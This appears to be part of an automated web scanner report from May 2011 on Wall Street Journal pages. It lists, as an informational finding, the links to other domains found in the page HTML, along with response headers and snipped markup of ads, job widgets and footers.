<script type="text/javascript" src="http://adsyndication.msn.com/delivery/getads.js">
</script>
...[SNIP]...
<h3><a class="" href="http://blogs.smartmoney.com/encore" target="_blank">Encore</a>
...[SNIP]...
<strong><a class="icon audio" href="http://podcast.mktw.net/wsj/audio/20110511/pod-wsjepshellenbarger/pod-wsjepshellenbarger.mp3" target="_blank">Audio</a>
...[SNIP]...
<h2><a href="http://blogs.smartmoney.com/encore/2011/05/12/does-your-parent-need-a-senior-move-manager/">Does Your Parent Need a Senior Move Manager?
</a>
...[SNIP]...
<li >
   <a href="http://www.smartmoney.com/plan/employment/surviving-the-superjob-1304556743727/"><img src="http://si.wsj.net/public/resources/images/PF-AA458_sm0611_A_20110505153010.jpg" vspace="0" hspace="0" border="0" alt="[sm0611super]" height="76" width="76" class="imageFormat-A"/>
...[SNIP]...
<h2><a href="http://www.smartmoney.com/plan/employment/surviving-the-superjob-1304556743727/">Extreme Multitasking: Surviving the Superjob
</a>
...[SNIP]...
<h3 class="articleHeader">Jobs & Career News <a class="fins_logo" href="http://www.fins.com/">Powered by</a>
...[SNIP]...
<li><a href="http://www.fins.com/Finance/Articles/SB130521797514015479/New-Model-for-Silicon-Valley-VCs-to-Track-Their-Investments?Type=0&reflink=djp_wsjc">New Model for Silicon Valley VCs to Track Their Investments</a>
...[SNIP]...
<li><a href="http://www.fins.com/Finance/Articles/SB130529566704415727/The-Most-Overpaid-CEOs-in-Finance?Type=7&reflink=djp_wsjc">The Most Overpaid CEOs in Finance</a>
...[SNIP]...
<li><a href="http://www.fins.com/Finance/Articles/SB130520865281615347/Are-College-Degrees-Approaching-Bubble-Territory?Type=1&reflink=djp_wsjc">Are College Degrees Approaching Bubble Territory?</a>
...[SNIP]...
<li><a href="http://it-jobs.fins.com/Articles/SB130505696841014767/Google-Obsessed-With-Its-Employees?Type=44&reflink=djp_wsjc">Google: Obsessed With Its Employees</a>
...[SNIP]...
<li><a href="http://it-jobs.fins.com/Articles/SB130529344254815723/New-Relationship-for-VCs-and-Startups?Type=1&reflink=djp_wsjc">New Relationship for VCs and Startups</a>
...[SNIP]...
<li><a href="http://it-jobs.fins.com/Articles/SB130521280576715417/Blogging-Your-Startup?Type=44&reflink=djp_wsjc">Blogging Your Startup</a>
...[SNIP]...
<li><a href="http://sales-jobs.fins.com/Articles/SB130530383232815755/McCann-Hires-Chief-Brand-Editor-Two-Creatives-Exit?Type=36&reflink=djp_wsjc">McCann Hires Chief Brand Editor; Two Creatives Exit</a>
...[SNIP]...
<li><a href="http://sales-jobs.fins.com/Articles/SB128586833714042477/Explaining-Gaps-in-Your-Sales-Resume?Type=44&reflink=djp_wsjc">Explaining Gaps in Your Sales Resume</a>
...[SNIP]...
<div id="ctl00_pnlStyle">

<link rel="stylesheet" type="text/css" href="http://www.fins.com/Finance/css/FINS_Widget.css"/>

</div>

<div id="ctl00_pnlScript">

<script language="javascript" type="text/javascript" src="http://www.fins.com/Finance/JScripts/FINS_Widget.js"></script>
...[SNIP]...
</a>  
<a id="FINSW_featureemployer" target="_blank" href="http://recruiter.fins.com/?reflink=djm_modulewsj_widgetjobs_wsjmegawidget">For Employers & Recruiters »</a>
...[SNIP]...
<li><a target="_blank" href='http://it-jobs.fins.com/Jobs/94864/Professional-Applications-Developer-Drupal?reflink=djm_modulewsj_widgetjobs_jobswsjmegawidget'>
Professional Applications Developer (Drupal) - AT&T</a>
...[SNIP]...
<li><a target="_blank" href='http://sales-jobs.fins.com/Jobs/95790/RLDP-Leadership-Program?reflink=djm_modulewsj_widgetjobs_jobswsjmegawidget'>
RLDP Leadership Program - Verizon Wireless</a>
...[SNIP]...
<li><a target="_blank" href='http://it-jobs.fins.com/Jobs/95679/754302-Software-Development-Engineer-SDE-II-Lync-Job?reflink=djm_modulewsj_widgetjobs_jobswsjmegawidget'>
754302, Software Development Engineer (SDE) II, Lync Job - Microsoft Corp.</a>
...[SNIP]...
<div class="FINSW_section">
<a id="ctl00_DefaultContent_UCJobsWidget_lblFeatureMore" class="all" href="http://www.fins.com" target="_blank">More finance jobs, IT jobs, sales jobs, marketing jobs on FINS.com »</a>
...[SNIP]...
<li class="top">
<a target="_blank" rel="nofollow" href="http://resumes.fins.com/?reflink=djm_module_wsjcareers_resumes_mkt">
Need a Job? Get a Resume
</a>
...[SNIP]...
<li class=" ">
<a target="_blank" rel="nofollow" href="http://www.bizbuysell.com/franchise-for-sale/?J=H&mod=careersmarketplace">
Franchise Opportunities
</a>
...[SNIP]...
<li class=" odd">
<a target="_blank" rel="nofollow" href="http://ad.doubleclick.net/clk;230830348;29011447;y?http://www.manhattangmat.com/wsj-101.cfm?utm_source=wsj&utm_medium=cpc&utm_content=national&utm_campaign=jan-2009">
GMAT 101
</a>
...[SNIP]...
<li class=" ">
<a target="_blank" rel="nofollow" href="http://www.fins.com/Finance?reflink=djm_module_wsjcareers_text_job">
Finance & Accounting Jobs
</a>
...[SNIP]...
<li class=" odd">
<a target="_blank" rel="nofollow" href="http://wsj.careerdev.org/wsj/counseling/welcome.asp">
Career Counseling
</a>
...[SNIP]...

<link rel="stylesheet" type="text/css" href="http://www.bizbuysell.com/partner/wsjournal/stylesheets/widgets.css"/>

<div id="bbsWidgetContainer" class="bbsSearch bbsSearch2 clearfix small">
...[SNIP]...
</a>
                       <a href="http://www.bizbuysell.com/partner/wsjournal/" title="Advanced Search" class="bbsAdvancedSearch">Advanced Search</a>
...[SNIP]...
</a>
                       <a href="http://www.bizbuysell.com/franchise-for-sale/?J=H" title="Advanced Search" class="bbsAdvancedSearch">Advanced Search</a>
...[SNIP]...
<li><a rel="nofollow" href="http://ad.doubleclick.net/clk;239193527;5644102;g?http://clk.atdmt.com/DEN/go/305523490/direct/01/" target="_blank">ETFs sponsored by iShares</a>
...[SNIP]...
<li><a rel="nofollow" href="http://ad.doubleclick.net/clk;241113004;29011447;j?http://ad.doubleclick.net/clk;241083849;63189073;p;pc=[TPAS_ID]" target="_blank">BPR Beyond Cost-Cutting sponsored by SAP</a>
...[SNIP]...
<li><a rel="nofollow" href="http://ad.doubleclick.net/clk;235473066;5644102;b?http://altfarm.mediaplex.com/ad/ck/17912-125067-1281-1" target="_blank">The Sports Club Presented by iMeet</a>
...[SNIP]...
<li><a rel="nofollow" href="http://ad.doubleclick.net/clk;240570205;11024269;p?http://www.supplychainriskinsights.com" target="_blank">Supply Chain Risk Insights presented by Zurich</a>
...[SNIP]...
<li><a rel="nofollow" href="http://www.marketwatch.com/brokercenter?reflink=djm_mwbrokercenter_wsjsaslink" target="_blank">Compare current broker offers on MarketWatch.com</a>
...[SNIP]...
<li><a rel="nofollow" href="http://ad.doubleclick.net/clk;240533406;6853491;g?http://online.wsj.com/ad/privatewealth" target="_blank">How alternative investments fit in a portfolio</a>
...[SNIP]...
<li><a rel="nofollow" href="http://ad.doubleclick.net/clk;236877924;29011447;p?http://journalinsider.com/" target="_blank">Become a Wall Street Journal Insider today</a>
...[SNIP]...
<h5>
<a target="_blank" href="http://www.marketwatch.com/">MarketWatch</a>
...[SNIP]...
<li>
<a target="_blank" href="http://www.marketwatch.com/news/story.asp?guid=%7BA85A0A6E-7D70-11E0-915A-00212804637C%7D&siteid=rss&rss=1">Market Snapshot: Real estate, retail in focus next week</a>
...[SNIP]...
<li>
<a target="_blank" href="http://www.marketwatch.com/news/story.asp?guid=%7B729F25B4-7BFC-11E0-915A-00212804637C%7D&siteid=rss&rss=1">SportsWatch: Pricing, ticket sites hit baseball attendance</a>
...[SNIP]...
<li>
<a target="_blank" href="http://www.marketwatch.com/news/story.asp?guid=%7BB63A7F18-7D90-11E0-915A-00212804637C%7D&siteid=rss&rss=1">Stocks to Watch: Stocks to watch Monday: Lowe's, J.C. Penney</a>
...[SNIP]...
<li>
<a target="_blank" href="http://www.marketwatch.com/news/story.asp?guid=%7BDDE3A06C-7C0A-11E0-915A-00212804637C%7D&siteid=rss&rss=1">Weekend Investor: Margin hikes threaten your silver, gold, oil stake</a>
...[SNIP]...
<li>
<a target="_blank" href="http://www.marketwatch.com/news/story.asp?guid=%7B8BC51928-7D2C-11E0-915A-00212804637C%7D&siteid=rss&rss=1">Your Money with Chuck Jaffe: Find great stocks at good prices</a>
...[SNIP]...
<h5>
<a target="_blank" href="http://online.barrons.com">Barron's</a>
...[SNIP]...
<li>
<a target="_blank" href="http://online.barrons.com/article/SB50001424052970203286304576313263699537514.html?mod=rss_barrons_this_week_magazine">Bland Old Party</a>
...[SNIP]...
<li>
<a target="_blank" href="http://online.barrons.com/article/SB50001424052970204224904576317324217921368.html?mod=rss_barrons_this_week_magazine">Juniper: Emerging Network Star </a>
...[SNIP]...
<li>
<a target="_blank" href="http://online.barrons.com/article/SB50001424052970204224904576317191950021316.html?mod=rss_barrons_this_week_magazine">Why Buy Into Blackboard's Jungle?</a>
...[SNIP]...
<li>
<a target="_blank" href="http://online.barrons.com/article/SB50001424052970204224904576317351372090580.html?mod=rss_barrons_this_week_magazine">GM's Comeback: Still Gathering Speed</a>
...[SNIP]...
<li>
<a target="_blank" href="http://online.barrons.com/article/SB50001424052970203286304576313263278025484.html?mod=rss_barrons_this_week_magazine">Oil's Well for This Energy Explorer</a>
...[SNIP]...
<h5>
<a target="_blank" href="http://www.allthingsd.com?siteid=wsj_hpp_atd">All Things Digital</a>
...[SNIP]...
<li>
<a target="_blank" href="http://kara.allthingsd.com/20110513/dear-yahoo-board-your-investors-are-on-line-2-and-theyre-not-happy/?mod=ATD_rss">Dear Yahoo Board: Your Investors Are on Line 2 and They're Not Happy [BoomTown]</a>
...[SNIP]...
<li>
<a target="_blank" href="http://emoney.allthingsd.com/20110513/shoedazzle-walks-away-with-40-million-from-andreessen-horowitz/?mod=ATD_rss">Kim Kardashian's ShoeDazzle Walks Away With $40 Million from Andreessen Horowitz [eMoney]</a>
...[SNIP]...
<li>
<a target="_blank" href="http://voices.allthingsd.com/20110513/artists-experiment-with-interactive-music-videos/?mod=ATD_rss">Artists Experiment With Interactive Music Videos [Voices]</a>
...[SNIP]...
<li>
<a target="_blank" href="http://mediamemo.allthingsd.com/20110513/is-netflix-ready-to-save-its-first-show/?mod=ATD_rss">Is Netflix Ready To Save Its First Show? [MediaMemo]</a>
...[SNIP]...
<li>
<a target="_blank" href="http://emoney.allthingsd.com/20110513/nordstroms-flash-sales-revenues-to-hit-180-million-this-year/?mod=ATD_rss">Nordstrom's Flash Sales Revenues to Hit $180 Million This Year [eMoney]</a>
...[SNIP]...
<h5>
<a target="_blank" href="http://www.smartmoney.com/">SmartMoney</a>
...[SNIP]...
<li>
<a target="_blank" href="http://www.smartmoney.com/retirement/planning/playing-retirement-account-catch-up/?cid=1108">Playing Retirement Account Catch-Up (The Tax Guy)</a>
...[SNIP]...
<li>
<a target="_blank" href="http://www.smartmoney.com/borrow/credit-cards/latest-scam-highlights-debitcard-dangers-1305329229415/?cid=1108">Latest Scam Highlights Debit-Card Dangers</a>
...[SNIP]...
<li>
<a target="_blank" href="http://www.smartmoney.com/invest/stocks/3-stocks-priced-for-unrealistic-growth-1305323260315/?cid=1108">3 Stocks Priced for Unrealistic Growth (Screens)</a>
...[SNIP]...
<li>
<a target="_blank" href="http://www.smartmoney.com/retirement/planning/the-stealth-retirement-community-1305320334195/?cid=1108">The Stealth Retirement Community</a>
...[SNIP]...
<li>
<a target="_blank" href="http://www.smartmoney.com/borrow/credit-cards/bank-fees-attack-the-sequel-1305250387184/?cid=1108">Bank Fees Attack: The Sequel</a>
...[SNIP]...
<noscript>
   <iframe src="http://fls.doubleclick.net/activityi;src=490793;type=conte003;cat=caree194;ord=1?" width="1" height="1" frameborder="0"></iframe>
...[SNIP]...
</div>
<a rel="entry-content" href="http://ie8.smoothfusion.com/WallStreetJournal/view.aspx">LINKS TO ACTUAL PAGE CONTAINING WEB SLICE FUNCTIONALITY.</a>
<a rel="bookmark" target="_blank" href="http://www.wallstreetjournal.com" ></a>
...[SNIP]...
<li><a rel="nofollow" href="http://www.djreprints.com/?mod=WSJ_footer">Reprints</a>
...[SNIP]...
<li><a rel="nofollow" href="http://www.wsjdigital.com/?mod=WSJ_footer">Advertising</a>
...[SNIP]...
<li><a href="http://www.wsjlocal.com/?mod=WSJ_footer" rel="nofollow">Advertise Locally</a>
...[SNIP]...
<li><a rel="nofollow" href="http://www.dj.com/?mod=WSJ_footer">About Dow Jones</a>
...[SNIP]...
<li id="futureLeadProgLink" style="display:none;"><a href="http://www.wsj-asia.com/flp/about.html?mod=WSJ_footer" rel="nofollow">Future Leadership Program</a>
...[SNIP]...
<li><a href="https://www.wsjsafehouse.com/">SafeHouse - Send Us Information</a>
...[SNIP]...
<li><a class="icon_facebook" href="http://www.facebook.com/wsjonline?mod=WSJ_footer" target="_blank">WSJ on Facebook</a>
...[SNIP]...
<li><a href="http://wsj.iamplify.com/?mod=WSJ_footer">WSJ Digital Downloads</a>
...[SNIP]...
<li><a href="http://www.marketwatch.com/?siteid=wsj&dist=freedjsiteslink&mod=WSJ_footer">Marketwatch.com</a>
...[SNIP]...
<li><a href="http://online.barrons.com/public/main?mod=WSJ_footer">Barrons.com</a>
...[SNIP]...
<li><a href="http://www.smartmoney.com/?mod=WSJ_footer">SmartMoney.com</a>
...[SNIP]...
<li><a href="http://allthingsd.com/?reflink=DNH_EUR&mod=WSJ_footer">AllThingsD.com</a>
...[SNIP]...
<li class="fins"><a href="http://www.fins.com/?mod=WSJ_footer">FINS:</a> <a href="http://www.fins.com/finance/?mod=WSJ_footer">Finance,</a> <a href="http://it-jobs.fins.com/?mod=WSJ_footer">IT jobs,</a> <a href="http://sales-jobs.fins.com/?mod=WSJ_footer">Sales jobs</a>
...[SNIP]...
<li><a href="http://bigcharts.marketwatch.com/?mod=WSJ_footer">BigCharts.com</a>
...[SNIP]...
<li><a href="http://vse.marketwatch.com/Game/Homepage.aspx?mod=WSJ_footer">Virtual Stock Exchange</a>
...[SNIP]...
<li><a rel="nofollow" href="http://wsjradio.com?mod=WSJ_footer">WSJ Radio</a>
...[SNIP]...
<small class="acapLogo"><a href="http://the-acap.org/acap-enabled.php?mod=WSJ_footer" target="_blank"><span>
...[SNIP]...
<noscript>
   <img src="http://ad.doubleclick.net/activity;src=966743;type=caree215;cat=caree506;ord=1?" width="1" height="1" border="0" alt=""/>
</noscript>
...[SNIP]...

19.124. http://online.wsj.com/public/page/news-real-estate-homes.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/public/page/news-real-estate-homes.html

Issue detail

The page was loaded from a URL containing a query string:

http://online.wsj.com/public/page/news-real-estate-homes.html?mod=WSJ_topnav_realestate_main

The response contains the following links to other domains:

http://a1.twimg.com/profile_images/1149585332/twittershot_normal.JPG
http://a1.twimg.com/profile_images/68204098/WotapkaSABEW_normal.jpg
http://ad.doubleclick.net/activity;src=966743;type=reale487;cat=reale514;ord=1?
http://ad.doubleclick.net/clk;213740452;3281750;x?http://www.hallandhall.com
http://ad.doubleclick.net/clk;222012065;3281750;p?http://roipropertiesaz.com/
http://ad.doubleclick.net/clk;222860177;3281750;e?http://www.getmyhomesvalue.com/home-value
http://ad.doubleclick.net/clk;227510881;29011447;b?http://online.wsj.com/ad/top400_09.html
http://ad.doubleclick.net/clk;232096418;3281750;e?http://www.roundhillpartners.com/index.asp
http://ad.doubleclick.net/clk;232567524;29011447;d?http://www.gbci.org/main-nav/professional-credentials/credentials.aspx
http://ad.doubleclick.net/clk;233137626;29011447;a?http://www.mwvlandsales.com
http://ad.doubleclick.net/clk;233237390;29011447;z?http://www.markdavidny.com
http://ad.doubleclick.net/clk;233237495;29011447;f?http://www.loopnet.com/
http://ad.doubleclick.net/clk;235445791;29011447;h?http://www.luxuryhomemarketing.com/real-estate-agents/home.html
http://ad.doubleclick.net/clk;235473066;5644102;b?http://altfarm.mediaplex.com/ad/ck/17912-125067-1281-1
http://ad.doubleclick.net/clk;235665834;29011447;j?http://www.sapphiretower.net
http://ad.doubleclick.net/clk;236871636;29011447;j?http://www.springisland.com/?utm_source=wsj&utm_medium=news&utm_campaign=wsj-ad
http://ad.doubleclick.net/clk;236877924;29011447;p?http://journalinsider.com/
http://ad.doubleclick.net/clk;237526483;29011447;h?http://sothebysrealty.com
http://ad.doubleclick.net/clk;237739311;29011447;d?http://www.westinhoustonresidences.com
http://ad.doubleclick.net/clk;239193527;5644102;g?http://clk.atdmt.com/DEN/go/305523490/direct/01/
http://ad.doubleclick.net/clk;239940992;29011447;o?http://www.ricklevin.com
http://ad.doubleclick.net/clk;239952217;29011447;h?http://OBXwebsite.com
http://ad.doubleclick.net/clk;239987365;29011447;t?http://www.usgbc.org/DisplayPage.aspx?CMSPageID=2331
http://ad.doubleclick.net/clk;240042481;29011447;s?http://www.homgroup.com/
http://ad.doubleclick.net/clk;240104321;29011447;k?http://www.pbrsales.com
http://ad.doubleclick.net/clk;240515941;29011447;y?http://www.danielisland.com/mitchell-wharf?utm_source=wsj&utm_medium=textad&utm_campaign=mitchell%2Bwharf
http://ad.doubleclick.net/clk;240533406;6853491;g?http://online.wsj.com/ad/privatewealth
http://ad.doubleclick.net/clk;240570205;11024269;p?http://www.supplychainriskinsights.com
http://ad.doubleclick.net/clk;240754894;29011447;k?http://www.tranzon.com/Propertydetail.aspx?id=8775
http://ad.doubleclick.net/clk;241113004;29011447;j?http://ad.doubleclick.net/clk;241083849;63189073;p;pc=[TPAS_ID]
http://adsyndication.msn.com/delivery/getads.js
http://allthingsd.com/
http://allthingsd.com/?reflink=DNH_EUR&mod=WSJ_footer
http://bigcharts.marketwatch.com/
http://bigcharts.marketwatch.com/?mod=WSJ_footer
http://fls.doubleclick.net/activityi;src=490793;type=conte003;cat=reale233;ord=1?
http://ie8.smoothfusion.com/WallStreetJournal/view.aspx
http://it-jobs.fins.com/?mod=WSJ_footer
http://itunes.apple.com/us/app/marketwatch-market-data-app/id426151836?mt=8
http://online.barrons.com/home
http://online.barrons.com/public/main?mod=WSJ_footer
http://p01.bestplaces.net/ws/bestplacestolive.aspx
http://reut.rs/l6eOOY
http://sales-jobs.fins.com/?mod=WSJ_footer
http://search.twitter.com/search?q=%23dyingthroes
http://the-acap.org/acap-enabled.php?mod=WSJ_footer
http://twitter.com/AndrewKroll
http://twitter.com/RWhelanWSJ
http://twitter.com/RWhelanWSJ/statuses/69048469771395073
http://twitter.com/RWhelanWSJ/statuses/69048940602986497
http://twitter.com/RWhelanWSJ/statuses/69124541405863936
http://twitter.com/RWhelanWSJ/statuses/69128169650786304
http://twitter.com/big_ben_clock
http://twitter.com/dwotapka
http://twitter.com/dwotapka/statuses/69124692681826304
http://twitter.com/rwhelanwsj
http://twitter.com/wsj
http://twitter.com/wsjrealestate
http://vse.marketwatch.com/Game/Homepage.aspx
http://vse.marketwatch.com/Game/Homepage.aspx?mod=WSJ_footer
http://wsj.iamplify.com/?mod=WSJ_footer
http://wsjradio.com/?mod=WSJ_footer
http://www.bankrate.com/
http://www.bankrate.com/funnel/graph/?pid=p:wsj&cat=2&state=zz&d=1825&t=Line&ids=1
http://www.bankrate.com/funnel/graph/?pid=p:wsj&cat=2&state=zz&d=1825&t=Line&ids=10
http://www.bankrate.com/funnel/graph/?pid=p:wsj&cat=2&state=zz&d=1825&t=Line&ids=325
http://www.bankrate.com/funnel/graph/?pid=p:wsj&cat=2&state=zz&d=1825&t=Line&ids=333
http://www.bankrate.com/funnel/graph/?pid=p:wsj&cat=2&state=zz&d=1825&t=Line&ids=341
http://www.bankrate.com/funnel/mortgages/?pid=p:wsj&prods=1
http://www.bankrate.com/funnel/mortgages/?pid=p:wsj&prods=2
http://www.bankrate.com/funnel/mortgages/?pid=p:wsj&prods=4
http://www.bankrate.com/funnel/mortgages/?pid=p:wsj&prods=5
http://www.bankrate.com/funnel/mortgages/?pid=p:wsj&prods=6
http://www.bankrate.com/wsj/rate/rate_center.asp
http://www.dj.com/?mod=WSJ_footer
http://www.djreprints.com/?mod=WSJ_footer
http://www.efinancialnews.com/
http://www.erealinvestor.com/w/dowjones_n.html
http://www.facebook.com/wsjonline?mod=WSJ_footer
http://www.facebook.com/wsjrealestate
http://www.fins.com/
http://www.fins.com/?mod=WSJ_footer
http://www.fins.com/finance/?mod=WSJ_footer
http://www.markdavidny.com/
http://www.marketwatch.com/
http://www.marketwatch.com/?siteid=wsj&dist=freedjsiteslink&mod=WSJ_footer
http://www.marketwatch.com/brokercenter?reflink=djm_mwbrokercenter_wsjsaslink
http://www.smartmoney.com/
http://www.smartmoney.com/?mod=WSJ_footer
http://www.smartmoney.com/personal-finance/real-estate/do-you-need-a-buyers-agent-1304523622290/
http://www.wallstreetjournal.com/
http://www.weichert.com/
http://www.wsj-asia.com/flp/about.html?mod=WSJ_footer
http://www.wsjdigital.com/?mod=WSJ_footer
http://www.wsjlocal.com/
http://www.wsjlocal.com/?mod=WSJ_footer
http://www.wsjradio.com/
http://www.wsjwine.com/
https://www.wsjsafehouse.com/
https://www.wsjwine.com/2861001?mod=djm_offermodule_2011

Request

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:40:02 GMT
Server: Apache/2.0.58 (Unix)
FastDynaPage-ServerInfo: sbkj2kapachep03 - Fri 05/13/11 - 21:18:11 EDT
Cache-Control: max-age=15
Expires: Sat, 14 May 2011 10:40:17 GMT
Vary: Accept-Encoding
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: text/html; charset=UTF-8
Content-Length: 167415

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/
...[SNIP]...
<li class="hat_tab" id="hat_tab2">
<a onclick="hat.track('MW')" href="http://www.marketwatch.com" id="hat_link2"></a>
...[SNIP]...
<li class="hat_tab" id="hat_tab3">
<a onclick="hat.track('BOL')" href="http://online.barrons.com/home" id="hat_link3"></a>
...[SNIP]...
<li class="hat_tab" id="hat_tab4">
<a onclick="hat.track('ATD')" href="http://allthingsd.com" id="hat_link4"></a>
...[SNIP]...
<li class="hat_tab" id="hat_tab6">
<a onclick="hat.track('FINS')" href="http://www.fins.com" id="hat_link5"></a>
...[SNIP]...
<li class="hat_tab" id="hat_tab7">
<a onclick="hat.track('SM')" href="http://www.smartmoney.com" id="hat_link6"></a>
...[SNIP]...
<li class="hat_drop_item" id="hat_more0"><a href="http://bigcharts.marketwatch.com/">Big Charts</a>
...[SNIP]...
<li class="hat_drop_item" id="hat_more1"><a href="http://vse.marketwatch.com/Game/Homepage.aspx">Virtual Stock Exchange</a>
...[SNIP]...
<li class="hat_drop_item" id="hat_more8"><a href="http://www.wsjradio.com">WSJ Radio</a>
...[SNIP]...
<li class="hat_drop_item" id="hat_more9"><a href="http://www.efinancialnews.com/">Financial News</a>
...[SNIP]...
<li class="hat_drop_item lifestyleItem" id="hat_more11"><a href="http://www.wsjwine.com/">WSJ<span>
...[SNIP]...
<h2><a href="http://www.smartmoney.com/personal-finance/real-estate/do-you-need-a-buyers-agent-1304523622290/">Home Buyers Go Hunting Alone
</a>
...[SNIP]...
<li class="first"><a href="http://p01.bestplaces.net/ws/bestplacestolive.aspx">Best Places to Live</a>
...[SNIP]...
<li><a href="http://www.bankrate.com/wsj/rate/rate_center.asp">Mortgage Rates</a>
...[SNIP]...
<li class="last"><a href="http://www.erealinvestor.com/w/dowjones_n.html">Analyze Your Property</a>
...[SNIP]...
<li class="offer offer2">
               <a href="http://itunes.apple.com/us/app/marketwatch-market-data-app/id426151836?mt=8">
           <span class="offerGraphic">
...[SNIP]...
<li class="offer offer3 offerLast">
               <a href="https://www.wsjwine.com/2861001?mod=djm_offermodule_2011">
                   <span class="offerGraphic">
...[SNIP]...
</script>
<script type="text/javascript" src="http://adsyndication.msn.com/delivery/getads.js">
</script>
...[SNIP]...
<li class="top">
<a target="_blank" rel="nofollow" href="http://ad.doubleclick.net/clk;232096418;3281750;e?http://www.roundhillpartners.com/index.asp">
Greenwich Connecticut MLS
</a>
...[SNIP]...
<li class="top">
<a target="_blank" rel="" href="http://ad.doubleclick.net/clk;236871636;29011447;j?http://www.springisland.com/?utm_source=wsj&utm_medium=news&utm_campaign=wsj-ad">
Carolina Island Living
</a>
...[SNIP]...
<li class="top">
<a target="_blank" rel="nofollow" href="http://ad.doubleclick.net/clk;240042481;29011447;s?http://www.homgroup.com/ ">
CALIFORNIA BEACH HOMES
</a>
...[SNIP]...
<li class=" ">
<a target="_blank" rel="nofollow" href="http://ad.doubleclick.net/clk;213740452;3281750;x?http://www.hallandhall.com">
Farms and Ranches
</a>
...[SNIP]...
<li class=" odd">
<a target="_blank" rel="nofollow" href="http://ad.doubleclick.net/clk;222012065;3281750;p?http://roipropertiesaz.com/">
AZ Foreclosures From $20K
</a>
...[SNIP]...
<li class=" ">
<a target="_blank" rel="nofollow" href="http://ad.doubleclick.net/clk;222860177;3281750;e?http://www.getmyhomesvalue.com/home-value">
Find Your Home Value
</a>
...[SNIP]...
<li class=" odd">
<a target="_blank" rel="nofollow" href="http://ad.doubleclick.net/clk;233237390;29011447;z?http://www.markdavidny.com">
New York City Apartments
</a>
...[SNIP]...
<li class=" ">
<a target="_blank" rel="nofollow" href="http://ad.doubleclick.net/clk;233237495;29011447;f?http://www.loopnet.com/">
Commercial Search
</a>
...[SNIP]...
<li class=" odd">
<a target="_blank" rel="nofollow" href="http://ad.doubleclick.net/clk;237526483;29011447;h?http://sothebysrealty.com">
Sotheby's International Realty
</a>
...[SNIP]...
<li class=" odd">
<a target="_blank" rel="nofollow" href="http://www.wsjlocal.com/">
Advertise Locally on WSJ.com
</a>
...[SNIP]...
<li class=" ">
<a target="_blank" rel="nofollow" href="http://ad.doubleclick.net/clk;227510881;29011447;b?http://online.wsj.com/ad/top400_09.html">
Top 400 RE Agents
</a>
...[SNIP]...
<li class=" odd">
<a target="_blank" rel="nofollow" href="http://ad.doubleclick.net/clk;235445791;29011447;h?http://www.luxuryhomemarketing.com/real-estate-agents/home.html">
Find a Luxury Agent
</a>
...[SNIP]...
<li class=" ">
<a target="_blank" rel="_nofollow" href="http://ad.doubleclick.net/clk;235665834;29011447;j?http://www.sapphiretower.net">
San Diego Luxury High Rise
</a>
...[SNIP]...
<li class=" odd">
<a target="" rel="" href="http://www.markdavidny.com">
New York City Apartments
</a>
...[SNIP]...
<li class=" ">
<a target="" rel="" href="http://www.weichert.com">
Weichert, Realtors
</a>
...[SNIP]...
<li class=" odd">
<a target="" rel="" href="http://ad.doubleclick.net/clk;237739311;29011447;d?http://www.westinhoustonresidences.com">
Live Atop New Houston Hotel
</a>
...[SNIP]...
<li class=" ">
<a target="_blank" rel="nofollow" href="http://ad.doubleclick.net/clk;239952217;29011447;h?http://OBXwebsite.com">
OBX Vacations & Sales
</a>
...[SNIP]...
<li class=" odd">
<a target="_blank" rel="nofollow" href="http://ad.doubleclick.net/clk;239940992;29011447;o?http://www.ricklevin.com ">
AUCTION! ChgoMotorClubBldg
</a>
...[SNIP]...
<li class=" ">
<a target="_self" rel="" href="http://ad.doubleclick.net/clk;240104321;29011447;k?http://www.pbrsales.com ">
Island Ownership Opportunity
</a>
...[SNIP]...
<li class=" odd">
<a target="_blank" rel="nofollow" href="http://ad.doubleclick.net/clk;239987365;29011447;t?http://www.usgbc.org/DisplayPage.aspx?CMSPageID=2331">
The Business Case for LEED
</a>
...[SNIP]...
<li class=" ">
<a target="_blank" rel="nofollow" href="http://ad.doubleclick.net/clk;232567524;29011447;d?http://www.gbci.org/main-nav/professional-credentials/credentials.aspx#">
LEED Professional Credentials
</a>
...[SNIP]...
<li class=" odd">
<a target="_blank" rel="nofollow" href="http://ad.doubleclick.net/clk;233137626;29011447;a?http://www.mwvlandsales.com">
Investment Land for Sale
</a>
...[SNIP]...
<li class=" ">
<a target="_blank" rel="nofollow" href="http://ad.doubleclick.net/clk;240515941;29011447;y?http://www.danielisland.com/mitchell-wharf?utm_source=wsj&utm_medium=textad&utm_campaign=mitchell%2Bwharf ">
Charleston SC Deep Water Lots
</a>
...[SNIP]...
<li class=" odd">
<a target="_self" rel="nofollow" href="http://ad.doubleclick.net/clk;240754894;29011447;k?http://www.tranzon.com/Propertydetail.aspx?id=8775 ">
150K +/- SF Food Grade Dist Facility
</a>
...[SNIP]...
<td class="br-loantypes"><a target="_blank" href="http://www.bankrate.com/funnel/mortgages/?pid=p:wsj&prods=1">30 yr fixed mtg</a>
...[SNIP]...
<td class="br-chart"><a target="_blank" href="http://www.bankrate.com/funnel/graph/?pid=p:wsj&cat=2&state=zz&d=1825&t=Line&ids=1">see chart</a>
...[SNIP]...
<td class="br-loantypes"><a target="_blank" href="http://www.bankrate.com/funnel/mortgages/?pid=p:wsj&prods=2">15 yr fixed mtg</a>
...[SNIP]...
<td class="br-chart"><a target="_blank" href="http://www.bankrate.com/funnel/graph/?pid=p:wsj&cat=2&state=zz&d=1825&t=Line&ids=10">see chart</a>
...[SNIP]...
<td class="br-loantypes"><a target="_blank" href="http://www.bankrate.com/funnel/mortgages/?pid=p:wsj&prods=6">5/1 ARM</a>
...[SNIP]...
<td class="br-chart"><a target="_blank" href="http://www.bankrate.com/funnel/graph/?pid=p:wsj&cat=2&state=zz&d=1825&t=Line&ids=341">see chart</a>
...[SNIP]...
<td class="br-loantypes"><a target="_blank" href="http://www.bankrate.com/funnel/mortgages/?pid=p:wsj&prods=4">30 yr fixed jumbo mtg</a>
...[SNIP]...
<td class="br-chart"><a target="_blank" href="http://www.bankrate.com/funnel/graph/?pid=p:wsj&cat=2&state=zz&d=1825&t=Line&ids=325">see chart</a>
